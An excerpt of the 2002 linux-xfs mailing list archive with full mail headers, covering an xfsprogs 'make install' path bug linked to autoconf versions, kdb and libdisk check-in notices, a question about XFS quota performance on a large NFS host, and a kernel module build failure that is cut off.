Wahlbrink wrote: > Hi, hello. > Nathan Scott wrote: > >cmd/xfsprogs/libdisk/Makefile - 1.6 > > Does that mean that the 'make install' now work proper and does not > install the stuff to /man /include .... (regardless the arguments of the > configure script)???? Nothing has changed from a "make install" point of view - afaik, there are no problems in the configure process, & your report is the first I've heard of anyone having problems there. Sounds like you need to do a "make distclean" before "make" (its probably your include/builddefs file which is out of whack, this will force it to be regenerated); if the problem persists let me know. cheers. -- Nathan From owner-linux-xfs@oss.sgi.com Thu Aug 8 17:36:53 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g790arRw026930 for ; Thu, 8 Aug 2002 17:36:53 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g790ar62026929 for linux-xfs-outgoing; Thu, 8 Aug 2002 17:36:53 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from sgi.com (sgi-too.SGI.COM [204.94.211.39]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g790akRw026901 for ; Thu, 8 Aug 2002 17:36:47 -0700 Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited or bulk email from the Internet.) via ESMTP id RAA04932 for ; Thu, 8 Aug 2002 17:39:34 -0700 (PDT) mail_from (pj@engr.sgi.com) Received: from turbo-linux.engr.sgi.com (turbo-linux.engr.sgi.com [163.154.6.103]) by cthulhu.engr.sgi.com (SGI-8.9.3/8.9.3) with ESMTP id RAA17983; Thu, 8 Aug 2002 17:37:38 -0700 (PDT) Received: by turbo-linux.engr.sgi.com (Postfix, from userid 2324) id 8BB4E1015497; Thu, 8 Aug 2002 17:37:38 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by turbo-linux.engr.sgi.com (Postfix) with ESMTP id 6CB7D1C000AF; Thu, 8 Aug 2002 17:37:38 -0700 (PDT) Date: Thu, 8 Aug 2002 17:37:38 -0700 (PDT) From: Paul Jackson To: Suzanne Engel Cc: "'linux-xfs@oss.sgi.com'" Subject: Re: Sorry! . . . .wrong email attached . . . In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Status: No, hits=-3.9 required=5.0 tests=IN_REP_TO,PLING version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk > whether or not my source code will need > to be open or if it can remain proprietary? This is not an XFS question -- it is a legal question, involving Linux loadable modules, the GPL and such. We are not lawyers, and in particular, we are not your lawyer. It would be inappropriate for us, as employees of SGI, to comment on whether a Linux kernel module needs to be GPL'd. I will agree that it is an issue that can generate discussion from various positions. -- I won't rest till it's the best ... Programmer, Linux Scalability Paul Jackson 1.650.933.1373 From owner-linux-xfs@oss.sgi.com Thu Aug 8 19:10:22 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g792AMRw028055 for ; Thu, 8 Aug 2002 19:10:22 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g792AMDE028054 for linux-xfs-outgoing; Thu, 8 Aug 2002 19:10:22 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from sgi.com (sgi-too.SGI.COM [204.94.211.39]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g792AERw028023 for ; Thu, 8 Aug 2002 19:10:14 -0700 Received: from sherman.melbourne.sgi.com (sherman.melbourne.sgi.com [134.14.55.232]) by sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited or bulk email from the Internet.) via ESMTP id TAA00049 for ; Thu, 8 Aug 2002 19:13:00 -0700 (PDT) mail_from (kaos@sherman.melbourne.sgi.com) Received: (from kaos@localhost) by sherman.melbourne.sgi.com (8.11.6/8.11.6) id g792BIL07352; Fri, 9 Aug 2002 12:11:18 +1000 Date: Fri, 9 Aug 2002 12:11:18 +1000 From: Keith Owens Message-Id: <200208090211.g792BIL07352@sherman.melbourne.sgi.com> Subject: TAKE - Upgrade to kdb v2.3 for i386 X-Spam-Status: No, hits=0.9 required=5.0 tests=MISSING_HEADERS version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Upgrade to kdb v2.3 for i386 Date: Thu Aug 8 19:10:38 PDT 2002 Workarea: sherman.melbourne.sgi.com:/build/kaos/2.4.x-xfs-kdb-v2.3 The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:124654a linux/kernel/ksyms.c - 1.132 linux/include/linux/sysctl.h - 1.50 linux/drivers/usb/usbkbd.c - 1.19 linux/drivers/usb/usb-uhci.c - 1.37 linux/kdb/kdb_bt.c - 1.11 linux/kdb/kdb_bp.c - 1.11 linux/kdb/modules/kdbm_vm.c - 1.19 linux/kdb/Makefile - 1.13 linux/include/linux/kdbprivate.h - 1.19 linux/include/linux/kdb.h - 1.22 linux/kdb/modules/Makefile - 1.14 linux/kdb/kdbsupport.c - 1.13 linux/kdb/kdbmain.c - 1.28 linux/include/asm-i386/kdb.h - 1.12 linux/kdb/kdb_io.c - 1.14 linux/include/asm-i386/kdbprivate.h - 1.16 linux/arch/i386/kdb/kdba_id.c - 1.12 linux/kdb/kdb_id.c - 1.14 linux/arch/i386/kdb/kdbasupport.c - 1.20 linux/arch/i386/kdb/kdba_io.c - 1.16 linux/arch/i386/kdb/kdba_bt.c - 1.14 linux/arch/i386/kdb/kdba_bp.c - 1.13 linux/kdb/modules/kdbm_pg.c - 1.57 linux/kdb/ChangeLog - 1.19 linux/drivers/usb/hid-core.c - 1.5 linux/arch/i386/kdb/ChangeLog - 1.6 From owner-linux-xfs@oss.sgi.com Thu Aug 8 19:27:44 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g792RiRw028280 for ; Thu, 8 Aug 2002 19:27:44 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g792RiSJ028279 for linux-xfs-outgoing; Thu, 8 Aug 2002 19:27:44 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from sgi.com (sgi-too.SGI.COM [204.94.211.39]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g792RdRw028251 for ; Thu, 8 Aug 2002 19:27:40 -0700 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.55.149]) by sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited or bulk email from the Internet.) via ESMTP id TAA06492 for ; Thu, 8 Aug 2002 19:30:20 -0700 (PDT) mail_from (nathans@snort.melbourne.sgi.com) Received: (from nathans@localhost) by snort.melbourne.sgi.com (SGI-8.9.3/8.9.3) id MAA63830 for linux-xfs@oss.sgi.com; Fri, 9 Aug 2002 12:28:16 +1000 (EST) Date: Fri, 9 Aug 2002 12:28:16 +1000 (EST) From: Nathan Scott Message-Id: <200208090228.MAA63830@snort.melbourne.sgi.com> To: linux-xfs@oss.sgi.com Subject: TAKE - libdisk fixup X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Thanks Christoph. Date: Thu Aug 8 19:27:11 PDT 2002 Workarea: snort.melbourne.sgi.com:/home/nathans/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: xfs-cmds:slinx:124655a cmd/xfsprogs/libdisk/drivers.c - 1.9 - Fix a day-one bug in get_driver_block_major which would result in incorrect majors being returned for not-found drivers. From owner-linux-xfs@oss.sgi.com Thu Aug 8 19:35:27 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g792ZRRw028554 for ; Thu, 8 Aug 2002 19:35:27 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g792ZRwh028553 for linux-xfs-outgoing; Thu, 8 Aug 2002 19:35:27 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from sgi.com (sgi-too.SGI.COM [204.94.211.39]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g792ZMRw028522 for ; Thu, 8 Aug 2002 19:35:22 -0700 Received: from sherman.melbourne.sgi.com (sherman.melbourne.sgi.com [134.14.55.232]) by sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited or bulk email from the Internet.) via ESMTP id TAA05319 for ; Thu, 8 Aug 2002 19:38:09 -0700 (PDT) mail_from (kaos@sherman.melbourne.sgi.com) Received: (from kaos@localhost) by sherman.melbourne.sgi.com (8.11.6/8.11.6) id g792bSr13782; Fri, 9 Aug 2002 12:37:28 +1000 Date: Fri, 9 Aug 2002 12:37:28 +1000 From: Keith Owens Message-Id: <200208090237.g792bSr13782@sherman.melbourne.sgi.com> Subject: TAKE - Update kdb changelog X-Spam-Status: No, hits=0.9 required=5.0 tests=MISSING_HEADERS version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Update kdb changelog Date: Thu Aug 8 19:36:44 PDT 2002 Workarea: sherman.melbourne.sgi.com:/build/kaos/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:124657a linux/arch/i386/kdb/ChangeLog - 1.7 From owner-linux-xfs@oss.sgi.com Thu Aug 8 22:27:24 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g795RORw030549 for ; Thu, 8 Aug 2002 22:27:24 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g795ROn3030548 for linux-xfs-outgoing; Thu, 8 Aug 2002 22:27:24 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from sgi.com (sgi-too.SGI.COM [204.94.211.39]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g795RJRw030520 for ; Thu, 8 Aug 2002 22:27:19 -0700 Received: from sherman.melbourne.sgi.com (sherman.melbourne.sgi.com [134.14.55.232]) by sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited or bulk email from the Internet.) via ESMTP id WAA07429 for ; Thu, 8 Aug 2002 22:30:05 -0700 (PDT) mail_from (kaos@sherman.melbourne.sgi.com) Received: (from kaos@localhost) by sherman.melbourne.sgi.com (8.11.6/8.11.6) id g795TP100792; Fri, 9 Aug 2002 15:29:25 +1000 Date: Fri, 9 Aug 2002 15:29:25 +1000 From: Keith Owens Message-Id: <200208090529.g795TP100792@sherman.melbourne.sgi.com> Subject: TAKE - Upgrade to kdb v2.3-2.4.19-i386-2 X-Spam-Status: No, hits=0.9 required=5.0 tests=MISSING_HEADERS version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Upgrade to kdb v2.3-2.4.19-i386-2 Date: Thu Aug 8 22:28:42 PDT 2002 Workarea: sherman.melbourne.sgi.com:/build/kaos/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:124664a linux/arch/i386/Makefile - 1.23 linux/arch/i386/kdb/kdba_bt.c - 1.15 linux/arch/i386/kdb/ChangeLog - 1.8 From owner-linux-xfs@oss.sgi.com Thu Aug 8 22:57:46 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g795vkRw031031 for ; Thu, 8 Aug 2002 22:57:46 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g795vkvJ031030 for linux-xfs-outgoing; Thu, 8 Aug 2002 22:57:46 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from sgi.com (sgi-too.SGI.COM [204.94.211.39]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g795veRw031002 for ; Thu, 8 Aug 2002 22:57:40 -0700 Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited or bulk email from the Internet.) via SMTP id XAA08496 for ; Thu, 8 Aug 2002 23:00:25 -0700 (PDT) mail_from (nathans@larry.melbourne.sgi.com) Received: from frodo.melbourne.sgi.com (frodo.melbourne.sgi.com [134.14.55.153]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id PAA28891; Fri, 9 Aug 2002 15:58:28 +1000 Received: from frodo.melbourne.sgi.com (nathans@localhost [127.0.0.1]) by frodo.melbourne.sgi.com (8.12.5/8.12.5/Debian-1) with ESMTP id g795uHjh011006; Fri, 9 Aug 2002 15:56:17 +1000 Received: (from nathans@localhost) by frodo.melbourne.sgi.com (8.12.5/8.12.5/Debian-1) id g795uFa3011004; Fri, 9 Aug 2002 15:56:15 +1000 Date: Fri, 9 Aug 2002 15:56:15 +1000 From: Nathan Scott To: Christoph Hellwig , Michael Wahlbrink Cc: linux-xfs@oss.sgi.com Subject: Re: TAKE - xfsprogs-2.2.0 Message-ID: <20020809055615.GH731@frodo> References: <200208080639.QAA15218@snort.melbourne.sgi.com> <3D523ABA.6020201@gmx.de> <20020808191434.A16532@infradead.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20020808191434.A16532@infradead.org> User-Agent: Mutt/1.4i X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk hi, On Thu, Aug 08, 2002 at 07:14:34PM +0100, Christoph Hellwig wrote: > On Thu, Aug 08, 2002 at 11:32:42AM +0200, Michael Wahlbrink wrote: > > Does that mean that the 'make install' now work proper and does not > > install the stuff to /man /include .... (regardless the arguments of the > > configure script)???? > > I've run into the same problem when building my xfs rpms for OpenLinux. > The patch below is my temporary solution. It works fine for me by > backing out the build system changes around 2.1.1. OK, I think I see where the problem lies. I assume neither of you guys are using autoconf 2.13 (autoconf --version)? I have managed to reproduce the problem with autoconf 2.50, but can't do so with 2.13 (which I think is the most common version at the moment -- probably why few people have reported on this). A fix will follow shortly. cheers. -- Nathan From owner-linux-xfs@oss.sgi.com Thu Aug 8 23:11:51 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g796BpRw031457 for ; Thu, 8 Aug 2002 23:11:51 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g796Bp86031456 for linux-xfs-outgoing; Thu, 8 Aug 2002 23:11:51 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from sgi.com (sgi-too.SGI.COM [204.94.211.39]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g796BiRw031428 for ; Thu, 8 Aug 2002 23:11:45 -0700 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.55.149]) by sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited or bulk email from the Internet.) via ESMTP id XAA03007 for ; Thu, 8 Aug 2002 23:14:29 -0700 (PDT) mail_from (nathans@snort.melbourne.sgi.com) Received: (from nathans@localhost) by snort.melbourne.sgi.com (SGI-8.9.3/8.9.3) id QAA00314 for linux-xfs@oss.sgi.com; Fri, 9 Aug 2002 16:12:34 +1000 (EST) Date: Fri, 9 Aug 2002 16:12:34 +1000 (EST) From: Nathan Scott Message-Id: <200208090612.QAA00314@snort.melbourne.sgi.com> To: linux-xfs@oss.sgi.com Subject: TAKE - xfsprogs-2.2.1 X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk If you previously had problems with install paths from "make install", please try this and let me know (yay or nay). A similar fix will need to be made to the other packages we have, so I'd like to get feedback before I go make all those other changes too in case any issues remain. thanks. Date: Thu Aug 8 23:07:41 PDT 2002 Workarea: snort.melbourne.sgi.com:/home/nathans/xfs-cmds The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/xfs-cmds Modid: xfs-cmds:slinx:124667a xfsprogs/configure.in - 1.15 xfsprogs/include/builddefs.in - 1.24 - Make install process work for newer versions of autoconf too. xfsprogs/VERSION - 1.52 xfsprogs/doc/CHANGES - 1.76 xfsprogs/debian/changelog - 1.50 - Bump version, document changes - libdisk fix, autoconf version fixes. From owner-linux-xfs@oss.sgi.com Fri Aug 9 01:17:50 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g798HoRw000893 for ; Fri, 9 Aug 2002 01:17:50 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g798HodF000892 for linux-xfs-outgoing; Fri, 9 Aug 2002 01:17:50 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from mail.gmx.net (sproxy.gmx.de [213.165.64.20]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g798HfRw000859 for ; Fri, 9 Aug 2002 01:17:42 -0700 Received: (qmail 582 invoked by uid 0); 9 Aug 2002 08:19:42 -0000 Received: from pd903c384.dip.t-dialin.net (HELO gmx.de) (217.3.195.132) by mail.gmx.net (mp018-rz3) with SMTP; 9 Aug 2002 08:19:42 -0000 Message-ID: <3D537A4D.9020004@gmx.de> Date: Fri, 09 Aug 2002 10:16:13 +0200 From: Michael Wahlbrink User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.0.0) Gecko/20020530 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Nathan Scott , linux-xfs@oss.sgi.com Subject: Re: TAKE - xfsprogs-2.2.0 References: <200208080639.QAA15218@snort.melbourne.sgi.com> <3D523ABA.6020201@gmx.de> <20020808191434.A16532@infradead.org> <20020809055615.GH731@frodo> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Hi, Nathan Scott wrote: > hi, > > On Thu, Aug 08, 2002 at 07:14:34PM +0100, Christoph Hellwig wrote: > >>On Thu, Aug 08, 2002 at 11:32:42AM +0200, Michael Wahlbrink wrote: >> >>>Does that mean that the 'make install' now work proper and does not >>>install the stuff to /man /include .... (regardless the arguments of the >>>configure script)???? >> >>I've run into the same problem when building my xfs rpms for OpenLinux. >>The patch below is my temporary solution. It works fine for me by >>backing out the build system changes around 2.1.1. > > > OK, I think I see where the problem lies. I assume neither of > you guys are using autoconf 2.13 (autoconf --version)? I have > managed to reproduce the problem with autoconf 2.50, but can't > do so with 2.13 (which I think is the most common version at > the moment -- probably why few people have reported on this). > > A fix will follow shortly. > Ok for your information: I'm working with a Linux From Scratch system, which uses autoconf 2.52. If you need further information or of I should test something, give me a short mail.... regards micha From owner-linux-xfs@oss.sgi.com Fri Aug 9 03:05:02 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g79A51Rw004009 for ; Fri, 9 Aug 2002 03:05:01 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g79A51MC004008 for linux-xfs-outgoing; Fri, 9 Aug 2002 03:05:01 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from mail.gmx.net (pop.gmx.net [213.165.64.20]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g79A4pRw003966 for ; Fri, 9 Aug 2002 03:04:52 -0700 Received: (qmail 24846 invoked by uid 0); 9 Aug 2002 10:06:55 -0000 Received: from pd903c305.dip.t-dialin.net (HELO gmx.de) (217.3.195.5) by mail.gmx.net (mp002-rz3) with SMTP; 9 Aug 2002 10:06:55 -0000 Message-ID: <3D53936D.9010501@gmx.de> Date: Fri, 09 Aug 2002 12:03:25 +0200 From: Michael Wahlbrink User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.0.0) Gecko/20020530 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Nathan Scott , linux-xfs@oss.sgi.com Subject: Re: TAKE - xfsprogs-2.2.1 References: <200208090612.QAA00314@snort.melbourne.sgi.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Hi, Just checked out and tested.... --> nay! ;-( the stuff still will be under / autoconf 2.52 # make clean # make distclean # autoconf; ./configure --prefix=/usr/ # make # make install ... and I will have some new directories on my / partition ..... any hints?? regards micha Nathan Scott wrote: > If you previously had problems with install paths from "make install", > please try this and let me know (yay or nay). A similar fix will need > to be made to the other packages we have, so I'd like to get feedback > before I go make all those other changes too in case any issues remain. > > thanks. > > > Date: Thu Aug 8 23:07:41 PDT 2002 > Workarea: snort.melbourne.sgi.com:/home/nathans/xfs-cmds > > The following file(s) were checked into: > bonnie.engr.sgi.com:/isms/slinx/xfs-cmds > > > Modid: xfs-cmds:slinx:124667a > xfsprogs/configure.in - 1.15 > xfsprogs/include/builddefs.in - 1.24 > - Make install process work for newer versions of autoconf too. > > xfsprogs/VERSION - 1.52 > xfsprogs/doc/CHANGES - 1.76 > xfsprogs/debian/changelog - 1.50 > - Bump version, document changes - libdisk fix, autoconf version fixes. > > From owner-linux-xfs@oss.sgi.com Fri Aug 9 07:07:55 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g79E7tRw011842 for ; Fri, 9 Aug 2002 07:07:55 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g79E7tYu011841 for linux-xfs-outgoing; Fri, 9 Aug 2002 07:07:55 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from creon.profinet.sk (creon.profinet.sk [195.46.64.12]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g79E7lRw011813 for ; Fri, 9 Aug 2002 07:07:48 -0700 Received: by creon.profinet.sk (Postfix, from userid 201) id 9B50021EF23; Fri, 9 Aug 2002 16:09:54 +0200 (CEST) Date: Fri, 9 Aug 2002 16:09:54 +0200 From: lubos klokner To: linux-xfs@oss.sgi.com Subject: xfs quota vs. performance Message-ID: <20020809140954.GA14502@creon.profinet.sk> Reply-To: lubos@klokner.sk Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4i X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk hello, we have 7 servers (web and shell) accesing one xfs (500gb) storage via nfs. it is free webhosing and have about 60000 users/directories on the storage. there is 60-70mbit/s nfs traffic outgoing from storage. now we need to setup quota. my question is: how much prerformance will i lost when we turn on quota ? thank you for any opinions. best regards, -- lubos klokner From owner-linux-xfs@oss.sgi.com Fri Aug 9 07:26:29 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g79EQSRw012336 for ; Fri, 9 Aug 2002 07:26:28 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g79EQS67012335 for linux-xfs-outgoing; Fri, 9 Aug 2002 07:26:28 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from phoenix.infradead.org (phoenix.mvhi.com [195.224.96.167]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g79EQMRw012306 for ; Fri, 9 Aug 2002 07:26:23 -0700 Received: from hch by phoenix.infradead.org with local (Exim 4.10) id 17dAkf-0003DX-00; Fri, 09 Aug 2002 15:28:29 +0100 Date: Fri, 9 Aug 2002 15:28:29 +0100 From: Christoph Hellwig To: Michael Wahlbrink Cc: Nathan Scott , linux-xfs@oss.sgi.com Subject: Re: TAKE - xfsprogs-2.2.1 Message-ID: <20020809152829.A12366@infradead.org> References: <200208090612.QAA00314@snort.melbourne.sgi.com> <3D53936D.9010501@gmx.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <3D53936D.9010501@gmx.de>; from mimi.ka@gmx.de on Fri, Aug 09, 2002 at 12:03:25PM +0200 X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Fri, Aug 09, 2002 at 12:03:25PM +0200, Michael Wahlbrink wrote: > Hi, > Just checked out and tested.... > --> nay! ;-( > the stuff still will be under / > > autoconf 2.52 Same here with autoconf-2.13, building an rpm from a tarball generated from a clean CVS tree From owner-linux-xfs@oss.sgi.com Fri Aug 9 09:53:00 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g79GqxRw015094 for ; Fri, 9 Aug 2002 09:52:59 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g79Gqxex015093 for linux-xfs-outgoing; Fri, 9 Aug 2002 09:52:59 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g79GqqRw015065 for ; Fri, 9 Aug 2002 09:52:53 -0700 Received: from tulip-e185.americas.sgi.com (tulip-e185.americas.sgi.com [128.162.185.208]) by zeus-e8.americas.sgi.com (SGI-SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id LAA46040; Fri, 9 Aug 2002 11:54:57 -0500 (CDT) Received: from [192.168.1.100] (cf-vpn-sw-corp-64-92.corp.sgi.com [134.15.64.92]) by tulip-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id LAA59736; Fri, 9 Aug 2002 11:54:56 -0500 (CDT) Subject: Re: xfs quota vs. performance From: Stephen Lord To: lubos@klokner.sk Cc: linux-xfs@oss.sgi.com In-Reply-To: <20020809140954.GA14502@creon.profinet.sk> References: <20020809140954.GA14502@creon.profinet.sk> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Date: 09 Aug 2002 11:52:13 -0500 Message-Id: <1028911935.2982.5.camel@laptop.americas.sgi.com> Mime-Version: 1.0 X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Fri, 2002-08-09 at 09:09, lubos klokner wrote: > hello, > > we have 7 servers (web and shell) accesing one xfs (500gb) storage via > nfs. it is free webhosing and have about 60000 users/directories on > the storage. there is 60-70mbit/s nfs traffic outgoing from storage. > now we need to setup quota. > my question is: how much prerformance will i lost when we turn on quota > ? Quota should not be too bad, quota records are cached in memory, although with 60000 users you will not be caching all of them at once. Steve > > thank you for any opinions. > > best regards, > -- > lubos klokner From owner-linux-xfs@oss.sgi.com Fri Aug 9 13:13:22 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g79KDMRw020014 for ; Fri, 9 Aug 2002 13:13:22 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g79KDM9B020013 for linux-xfs-outgoing; Fri, 9 Aug 2002 13:13:22 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from pauli.fmph.uniba.sk (postfix@pauli.fmph.uniba.sk [158.195.16.115]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g79KD1Rw019970 for ; Fri, 9 Aug 2002 13:13:02 -0700 Received: by pauli.fmph.uniba.sk (Postfix, from userid 1069) id C2D09169A6; Fri, 9 Aug 2002 22:15:12 +0200 (CEST) Date: Fri, 9 Aug 2002 22:15:12 +0200 From: Lubomir Host <8host@pauli.fmph.uniba.sk> To: linux-xfs@oss.sgi.com Subject: 2.4.19 - can't compile modul xfs_dmapi.o Message-ID: <20020809201512.GC31073@pauli.fmph.uniba.sk> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="/9DWx/yDrRhgMJTb" Content-Disposition: inline User-Agent: Mutt/1.3.28i Organization: Platon software development group (http://www.platon.sk/) X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk --/9DWx/yDrRhgMJTb Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Hi! I got error mesages during compilation 2.4.19 kernel with xfs_dmapi.o as modul. Error message is in attachment. Thanks, best 